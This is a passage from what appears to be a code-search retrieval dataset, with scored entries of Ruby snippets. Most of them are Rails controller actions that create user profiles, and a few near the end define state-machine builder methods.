format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b373e48a8d617e94bf6d1d072f0bd1d7", "score": "0.68659323", "text": "def create\n @profile = current_user.build_profile(profile_params)\n\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a02be046fa373b84b9b18fc606764c8e", "score": "0.68655366", "text": "def create\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fccd3f93933b70a4857448f648bed569", "score": "0.6858937", "text": "def create\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fccd3f93933b70a4857448f648bed569", "score": "0.6858937", "text": "def create\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65424fa8410e9453662623c59fc91e13", "score": "0.6843037", "text": "def create\n @profile = current_user.build_profile(params[:profile])\n #current_user.profile_id = @profile.id\n #current_user.save!\n respond_to do |format|\n if @profile.save\n format.html { redirect_to '/', notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\", notice: 'Profile is not created'}\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5f439c3a1284ebc6782a230330ccedf", "score": "0.6839983", "text": "def create\n \n @profile = Profile.find(params[:id])\n @profile.update_attributes(params[:profile])\n\n respond_with current_user\n\n end", "title": "" }, { "docid": "f1ef95b925c3ccf8328543816536feb5", "score": "0.6818044", "text": "def create\r\n\r\n redirect_to(:action => :index) and return unless request.post?\r\n redirect_to(:action => :index) and return if params[:profile].blank? || !params[:profile].is_a?(Hash)\r\n @profile_attributes = params[:profile] ? params[:profile]['0'].clone : {}\r\n\r\n @profile = Profile.load_from_params(@profile_attributes)\r\n if @profile.errors.empty? && @profile.save\r\n flash[:notice] = _(\"%{page} was successfully created.\") % {:page => _(\"Profile\")}\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => {:id => @profile.id}.merge(@profile.attributes).to_json)\r\n return\r\n end\r\n else\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => ({:errors => @profile.errors.full_messages}.merge(@profile.attributes)).to_json)\r\n else\r\n render(:action => :new)\r\n end\r\n return\r\n end\r\n if params[:go_to].blank?\r\n redirect_to :action => (params[:commit_and_new] ? :new : :index)\r\n else\r\n redirect_to(params[:go_to])\r\n end\r\n end", "title": "" }, { "docid": "fbb60484a074aa7ab3f696274793bb6a", "score": "0.68139726", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to profiles_url, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n puts @profile.errors.inspect\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed54e9a6fdb80970bb27ddc45c451e0f", "score": "0.68105054", "text": "def create\n assign_api_params_to_attributes\n @profile = current_user.profile || Profile.new(params[:profile])\n @profile.user_id = current_user.id\n new_record = @profile.new_record?\n if (new_record and @profile.save) or (!new_record and @profile.update_attributes(params[:profile]))\n message = (new_record ? I18n.t('profile.create.notice') : I18n.t('profile.update.notice'))\n respond_to do |format|\n format.xml { render :xml => {:message => message} }\n format.json { render :json => {:message => message} }\n end\n else\n respond_to do |format|\n format.xml { render :xml => @profile.errors }\n format.json { render :json => @profile.errors }\n end\n end\n end", "title": "" }, { "docid": "11a4f2fd0f59d48af7ed9f724ed122de", "score": "0.6809971", "text": "def create\n @profile = current_user.profiles.create(params[:profile])\n @profile.add_properties(params[:property])\n\n if @profile.save\n flash[:notice] = 'Profile was successfully created.'\n redirect_to :action => 'list'\n else\n render :action => 'new' \n end\n end", "title": "" }, { "docid": "2ca215b890be451d2761a8f962a4aedc", "score": "0.6791947", "text": "def new\n @profile = current_user.profiles.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "2369f6054e5c22c51d06f665860a8940", "score": "0.6791492", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html {redirect_to @profile, notice: 'Profile was successfully created.'}\n format.json {render :show, status: :created, location: @profile}\n else\n format.html {render :new}\n format.json {render json: @profile.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "da57aca75e17aba0a3cc5989a20c0cdb", "score": "0.67683995", "text": "def create\n @profile = Profile.new(profile_params)\n\n # Assign current user to the new profile\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32ee551c10b6add1793be4cbd6210368", "score": "0.6762114", "text": "def create\n @profile = Profile.build(profile_params)\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50044a4b4f35ffa7adf2084a04e6e713", "score": "0.67577827", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to vanity_url_path(@profile), notice: 'Profile was successfully created.' }\n format.json { render json: vanity_url_path(@profile), status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: vanity_url_path(@profile).errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5881c771e92c18628c65191465250e1", "score": "0.67565745", "text": "def create\n #init_displayed_user(current_user.id)\n init_displayed_user(nil)\n @profile = Profile.new(params[:profile])\n current_user.profile = @profile\n @profile.email = current_user.email\n \n respond_to do |format|\n if @profile.save\n format.html { redirect_to my_profile_path, notice: 'Profile was successfully created for user: ' + current_user.email }\n #format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n #format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55b1565b046cefd2054c73a72683168f", "score": "0.6751461", "text": "def create\n @profile = Profile.new(profile_params)\n # @profile.save!\n # respond_to do |format|\n # if @profile.save\n # format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n # format.json { render :show, status: :created, location: @profile }\n # else\n # format.html { render :new }\n # format.json { render json: @profile.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "80cceb7db64725dd172da74c76dec6df", "score": "0.67477053", "text": "def create\n\n @profile = Profile.new(profile_params)\n if current_user\n @profile.user_id = current_user.id\n end\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "382d17a65ed089316d0dcfa55923ad68", "score": "0.67055756", "text": "def create\n # @profile = current_user.build_profile(params[:profile])\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Профиль создан.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "993369606506a601eac51179008e9f68", "score": "0.6695951", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to campaign_profile_path(@campaign, @profile), notice: 'Profile was successfully created.' }\n format.json { head :ok}\n else\n format.html { render :new }\n # do not return error to API\n # format.json { render json: @profile.errors, status: :unprocessable_entity }\n format.json { head :ok}\n end\n end\n end", "title": "" }, { "docid": "6101ba3edd90cb1e72a0e1d1e8ce7c71", "score": "0.6693347", "text": "def create\n @user = User.new(user_credentials)\n\n if @user.save\n @user.profile = Profile.new(profile_credentials)\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dc251787520e9ca5f4a2919a7508c4ce", "score": "0.6691711", "text": "def create\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to home_index_path, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fbe8363144bc9372bed670eee6ed52d", "score": "0.6684677", "text": "def create\n @profile = Profile.new(profile_params)\n\nrespond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "a6548dfe7fb00e4057b89a1dd8da7fd4", "score": "0.6684194", "text": "def create\n @profile = Profile.new(profile_params)\n current_user.profile = @profile\n \n respond_to do |format|\n if current_user.profile.save\n \n format.html { redirect_to controller: 'home', action: 'index' , notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e2c1ef7f4c6c24a2f856e55867d459", "score": "0.66783786", "text": "def create\n @profile = Profile.find_or_initialize_by(user_id: current_resource_owner.id)\n if @profile.update(profile_params)\n render json: @profile, status: :created\n else\n e = @profile.errors.first\n error = e[0].to_s+\" \"+e[1].to_s rescue \"Profile not saved.\"\n render json: {error: error}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "772479c3c1078b75fff6b9da9976e455", "score": "0.66748387", "text": "def create\n @profile = Profile.new(profile_params)\n @profile.update(profile_params)\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "363ab8ecf3ac8e24f091fee26f9bcab7", "score": "0.6650478", "text": "def create\n @profile = UserProfile.new(params[:user_profile])\n if params[:tags].present?\n @profile[:tags] = params[:tags].join(\",\")\n end\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to admin_profiles_url, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95a40d8cc5fde2ec0b48f8369aa81851", "score": "0.66257274", "text": "def create\n @profile = Profile.new(params[:profile])\n @user = get_user\n\n respond_to do |format|\n if @profile.save\n flash[:notice] = 'Profile was successfully created.'\n format.html { redirect_to('/profiles') }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9fd3ddd8e606d4dc4e5f64c46797d3cf", "score": "0.66234505", "text": "def create\n user = User.new(params[:user])\n if user.save\n user.create_profile\n render json: user, status: :created\n else\n render json: { errors: user.errors }, :status => :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "f3a663385f9f428c0df5f79a0bab9c0f", "score": "0.6622392", "text": "def create\n @users_profile = UsersProfile.new(users_profile_params)\n\n respond_to do |format|\n if @users_profile.save\n format.html { redirect_to @users_profile, notice: 'Users profile was successfully created.' }\n format.json { render :show, status: :created, location: @users_profile }\n else\n format.html { render :new }\n format.json { render json: @users_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2082fcfa086ee5be24231a14b3be73aa", "score": "0.66164905", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to [:admin, @profile], notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d046d6a7b177e539fc4c1686b86d9de5", "score": "0.6597017", "text": "def create\n # Uses the parameters from the form to create a new profile\n @profile = Profile.new(profile_params)\n # If the profile is a mentor and/or mentee, sets their initial availability for that role(s) to true\n if @profile.mentor == true\n @profile.mentor_availability = true\n end\n if @profile.mentee == true\n @profile.mentee_availability = true\n end\n # Adds in the user_id to the profile (so that the Profile model can relate to the User model - one Profile has one User (required) and one User can have one Profile (optional))\n @profile.user_id = current_user.id\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: \"Profile was successfully created.\" }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf82be72dde9f9020fb793123f6d57c7", "score": "0.6592252", "text": "def create\n @profile = Profile.new(profile_params)\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n build_roles_in @profile\n\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "497833dc48068c8fcf5a91d52a82036d", "score": "0.6590205", "text": "def create\n @profile = Profile.new(profile_params)\n authorize @profile\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8838a71edbdef5ce327f504a1c599c7", "score": "0.658966", "text": "def create\n @masters_profile = Profile.new(masters_profile_params)\n\n respond_to do |format|\n if @masters_profile.save\n format.html { redirect_to masters_profiles_path, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @masters_profile }\n else\n format.html { render :new }\n format.json { render json: @masters_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa1eb9789023f4c6578b3870d8a475c0", "score": "0.658363", "text": "def create\n @user_profile = UserProfile.new(params[:user_profile])\n\n respond_to do |format|\n if @user_profile.save\n format.html { redirect_to @user_profile, notice: 'User profile was successfully created.' }\n format.json { render json: @user_profile, status: :created, location: @user_profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2de597fcfe7beac33980fef5a28c8643", "score": "0.6579067", "text": "def create\n company_profile = CompanyProfile.find(params[:id])\n if company_profile.create(profile_params)\n render json: { company_profile: company_profile }\n else\n render json: {\n message: \"Could not create your profile\",\n errors: comany_profile.errors,\n }, status: :unprocessible_entity\n end\n end", "title": "" }, { "docid": "a29a7f99a000070edf4864feabbaec14", "score": "0.6575657", "text": "def create\n @webprofile = Webprofile.new(params[:webprofile])\n\n respond_to do |format|\n if @webprofile.save\n format.html { redirect_to @webprofile, notice: 'Webprofile was successfully created.' }\n format.json { render json: @webprofile, status: :created, location: @webprofile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @webprofile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23a90204c6ead52fd36f27db02775a54", "score": "0.6561337", "text": "def profiles\n hash = {:username => @username}\n @api.request(\"users/profiles/?#{build_query_string(hash)}\")\n end", "title": "" }, { "docid": "c25664ba477e14f451743bea04e69b7c", "score": "0.6541926", "text": "def create_profile(profile)\n raise Exceptions::ServiceException, \"Profile object must not be nil.\" if profile.nil?\n url = Util::Config.get('endpoints.base_url') + Util::Config.get('endpoints.profile')\n url = build_url(url)\n payload = {\n profile: profile.to_hash\n }.to_json\n response = RestClient.post(url, payload, get_headers())\n Components::Profile.create(JSON.parse(response.body)[\"data\"])\n end", "title": "" }, { "docid": "57b10a4116747b74255a39cafd672b04", "score": "0.65398204", "text": "def create\n @profile = Profile.new(profile_params)\n authorize @profile\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: t('.notice') }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72e44ef12a0419529bf8ad783ec951e9", "score": "0.65263444", "text": "def create\n @profile1 = current_user.create_profile1(params[:profile1])\n\n respond_to do |format|\n if @profile1.save\n format.html { redirect_to @profile1, notice: 'Profile was successfully created.' }\n format.json { render json: @profile1, status: :created, location: @profile1 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77604eca459e9dcb04dd86fd3b20cd0d", "score": "0.6521369", "text": "def create\n @profile = Profile.new(params[:profile])\n respond_to do |format|\n if @profile.save\n if @profile.profile\n format.html { redirect_to(@profile) }\n format.xml { render :xml => @profile, :status => :match, :location => @profile }\n else\n format.html { redirect_to(@profile) }\n format.xml { render :xml => @profile, :status => :match, :location => @profile }\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b703a6d3f06f39300e97131496d39cc", "score": "0.65209717", "text": "def create\n #@users_profile = UsersProfile.new(params[:users_profile])\n #\n #respond_to do |format|\n # if @users_profile.save\n # format.html { redirect_to @users_profile, notice: 'Users profile was successfully created.' }\n # format.json { render json: @users_profile, status: :created, location: @users_profile }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @users_profile.errors, status: :unprocessable_entity }\n # end\n #end\n end", "title": "" }, { "docid": "5c3566a1154a1f2a31cfcc66981ab48e", "score": "0.6517139", "text": "def create\n @profile = current_user.build_profile(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to(edit_user_path(@user), :notice => 'Profile was successfully created.') }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c44edd578893f49df0460f8d2d1d01a", "score": "0.6511011", "text": "def create\n @profile = Profile.new(profile_params)\n \n respond_to do |format|\n if @profile.save\n format.html { redirect_to(profiles_path, :notice => 'Profile was successfully created.') }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b586fe09da69d6fa488d5e1ce3c1ade1", "score": "0.6502748", "text": "def create\n @profile = Profile.create! (params[:profile].merge(:account_id => current_account.id))\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to(@profile, :notice => 'Profile was successfully created.') }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81a5bcdac6ff6eceacf4abd9815f93b5", "score": "0.6502336", "text": "def create\n @profile = current_user.profiles.build(params[:profile])\n @profile.claim_id = rand(36**7...36**50).to_s(36)\n @profile.url = @profile.name.parameterize\n @profile.notification_email = current_user.email\n @cities = City.all\n\n respond_to do |format|\n if @profile.save\n if current_user.role == \"seller\"\n #create_cleaner_account_confirmation(current_user)\n format.html { redirect_to \"/dashboard/bookings\", notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { redirect_to \"/ehdmin/show_profiles/#{@profile.city.url}\", notice: '' }\n end\n else\n\t\t\t\t@cities = City.all\n\t\t\t\t@hourly_rate = (15..35).to_a\n\t\t\t\t@min_hours = (1..3).to_a\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2650108cb379ee9e2583465d628f1a93", "score": "0.64785606", "text": "def create\n @profile = Profile.new(profile_params)\n \n if @profile.save\n render json: {status: 'SUCCESS', message: 'Created Wizard', data: @profile}, status: :created\n else \n render json: {status: 'ERROR', message: 'Wizard not created', data: @profile.errors}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dc1348b9c62f5700f05e8c75125e07e0", "score": "0.6472119", "text": "def create\n Userprofile.create(\"name\" => params[\"full_name\"], \"photo_url\" => params[\"url\"])\n redirect_to \"/userprofiles\"\n end", "title": "" }, { "docid": "fcb858737e537b1cdd3d161a858d3843", "score": "0.6467496", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n @status = current_user.status\n @profile.update(profileable_type: @status)\n @profile.update(user_id: current_user.id)\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4fe382753eb596a870a6d1d0b950715", "score": "0.6465939", "text": "def create\n @profile = Profile.new(profile_params)\n\n if @profile.save\n @obj = {\n id: @profile.id,\n firt_name: @profile.firt_name,\n last_name: @profile.last_name,\n avatar: @profile.avatar.attached? ? url_for(@profile.avatar) : nil,\n phone: @profile.phone,\n birth_date: @profile.birth_date,\n document_id: @profile.document_id,\n document_type_id: @profile.document_type_id,\n load_type: @profile.load_type,\n user_id: @profile.user_id,\n created_at: @profile.created_at,\n updated_at: @profile.updated_at\n }\n render json: @obj, status: :created, location: @obj\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n \n end", "title": "" }, { "docid": "c60c2b8d6f39e5dd52543591128ac799", "score": "0.6464902", "text": "def set_profile(profile_contents)\n path = self.api_root + '/register/profile'\n process_firecloud_request(:post, path, profile_contents.to_json)\n end", "title": "" }, { "docid": "2bd43eeb65d51f60d52cb36c1cbc282b", "score": "0.6454797", "text": "def create\n owning_profile = Profile.find_by_email(params[:link[:email]])\n to_profile = Profile.find_by_email(params[:link[:to_email]])\n\n owning_profile << to_profile\n\n if owning_profile.save\n render json: @link, status: :created, location: @link\n else\n render json: @link.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8e3f0357114771d9e9833ab3765c305f", "score": "0.64509255", "text": "def create\n params[:user_profile][:user_id] = current_user.id\n @user_profile = UserProfile.new(params[:user_profile])\n\n respond_to do |format|\n if @user_profile.save\n format.html { redirect_to @user_profile, notice: 'User profile was successfully created.' }\n format.json { render json: @user_profile, status: :created, location: @user_profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4b2ef744bf05406df6e80c78dd6b354", "score": "0.6449975", "text": "def create\n @profile = Profile.new(params[:profile])\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.save\n # @user_asset = UserAsset.new(params[:user_asset])\n # @user_asset.profile_id = @profile.id\n # @user_asset.save!\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf2881a3424fb1e8511a55274139ba8f", "score": "0.64491814", "text": "def create\n @profile = Profile.new(params[:profile])\n\t\t@profile.rank_id = params[:rank]\n\t\t@profile.user = User.find(params[:user])\n\t\t@profile.id = @profile.user.id\n\t\t@profile.user.update_attributes(:profile => @profile)\n\t\tauthorize! :create, @profile\n\t\t\n respond_to do |format|\n if @profile.save\n format.html { redirect_to profiles_path, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
51ede088dfe9576bc1b00a04540725f0
Trigger for building the state machine methods.
[ { "docid": "8161a636d149659bd30769682e90dd02", "score": "0.64667743", "text": "def build(&blk)\n @klass.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n include ::SimpleState::Mixins\n RUBY\n\n # Create an anonymous module which will be added to the state machine\n # class's inheritance chain.\n mod = @mod = Module.new\n mod.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def self.inspect\n \"SimpleState::#{@klass}AnonMixin\"\n end\n\n # Handles the change of state.\n # @api private\n def _change_state_using_event!(event)\n self.state = self.class._determine_new_state(self.state, event)\n end\n\n # Returns if the passed event is permitted with the instance in it's\n # current state.\n # @api public\n def event_permitted?(event)\n self.class._event_permitted?(self.state.to_sym, event)\n end\n\n # Returns true if the given symbol matches the current state.\n # @api public\n def in_state?(state)\n self.state.to_sym == state\n end\n RUBY\n\n # Declare the state machine rules.\n instance_eval(&blk)\n\n # Insert the anonymous module.\n @klass.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n include mod\n RUBY\n end", "title": "" } ]
[ { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7042458", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7042458", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7042458", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7042458", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7042458", "text": "def state_machine; end", "title": "" }, { "docid": "0e3a853eb0a0b091bb7cd6e4cd75075f", "score": "0.7042458", "text": "def state_machine; end", "title": "" }, { "docid": "67ec7dfd3606df8a54205e55fb1d2674", "score": "0.68886477", "text": "def build_dsl_10\n smc =StateModelCreator.new\n smc.define_action :action1 do \n @action1_done=true\n end # end action\n smc.define_action :action2\n smc.define_guard_on :action2 do\n if @action1_done\n guard=true\n else\n guard=false\n end # end if\n guard\n end # end guard\n smc.define_action :action3\n smc.define_action :action4\n smc.attach_transition(:STATEA,:action1,:STATEB)\n smc.attach_transition(:STATEB,:action2,:STATEC)\n smc.attach_transition(:STATEC,:action3,:STATED)\n smc.attach_transition(:STATEC,:action4,:STATEE)\n sm = smc.state_machine\n return sm\n end", "title": "" }, { "docid": "147d5165310ee5110554b0250b4cc1f2", "score": "0.6697702", "text": "def build(&blk)\n yield self\n verify!\n Puppet::StateMachine.new(@machine_name, @states, @start_state)\n end", "title": "" }, { "docid": "e0b208581289d0918cea83f2a6414f4d", "score": "0.63892955", "text": "def define_event_methods\n machine.events.each do |event|\n next if inherited_machine && inherited_machine.events[event.name]\n\n # Event query\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"can_#{event.qualified_name}?\"))\n m.docstring = [\n \"Checks whether #{event.name.inspect} can be fired.\",\n '@param [Hash] requirements The transition requirements to test against',\n \"@option requirements [#{state_type}] :from (the current state) One or more initial states\",\n \"@option requirements [#{state_type}] :to One or more target states\",\n '@option requirements [Boolean] :guard Whether to guard transitions with conditionals',\n \"@return [Boolean] +true+ if #{event.name.inspect} can be fired, otherwise +false+\"\n ]\n m.parameters = [['requirements', '{}']]\n\n # Event transition\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"#{event.qualified_name}_transition\"))\n m.docstring = [\n \"Gets the next transition that would be performed if #{event.name.inspect} were to be fired.\",\n '@param [Hash] requirements The transition requirements to test against',\n \"@option requirements [#{state_type}] :from (the current state) One or more initial states\",\n \"@option requirements [#{state_type}] :to One or more target states\",\n '@option requirements [Boolean] :guard Whether to guard transitions with conditionals',\n '@return [StateMachines::Transition] The transition that would be performed or +nil+'\n ]\n m.parameters = [['requirements', '{}']]\n\n # Fire event\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, event.qualified_name))\n m.docstring = [\n \"Fires the #{event.name.inspect} event.\",\n '@param [Array] args Optional arguments to include in transition callbacks',\n '@return [Boolean] +true+ if the transition succeeds, otherwise +false+'\n ]\n m.parameters = ['*args']\n\n # Fire event (raises exception)\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"#{event.qualified_name}!\"))\n m.docstring = [\n \"Fires the #{event.name.inspect} event, raising an exception if it fails.\",\n '@param [Array] args Optional arguments to include in transition callbacks',\n '@return [Boolean] +true+ if the transition succeeds',\n '@raise [StateMachines::InvalidTransition] If the transition fails'\n ]\n m.parameters = ['*args']\n end\n end", "title": "" }, { "docid": "20042d8abfe68b2bd43b34aa94c30ed1", "score": "0.6264919", "text": "def define_states_method\n state_machine.states.each do |state|\n state_name = state.name\n klass.send(:define_method, \"#{state_name}?\".to_sym) do\n self.current_state == state_name\n end\n end\n end", "title": "" }, { "docid": "df28448cf8655f6fd5a7fe5273819d80", "score": "0.62194294", "text": "def trigger\n Callable.new(\n state_machine.send(set_state_method)\n ).bind(\n 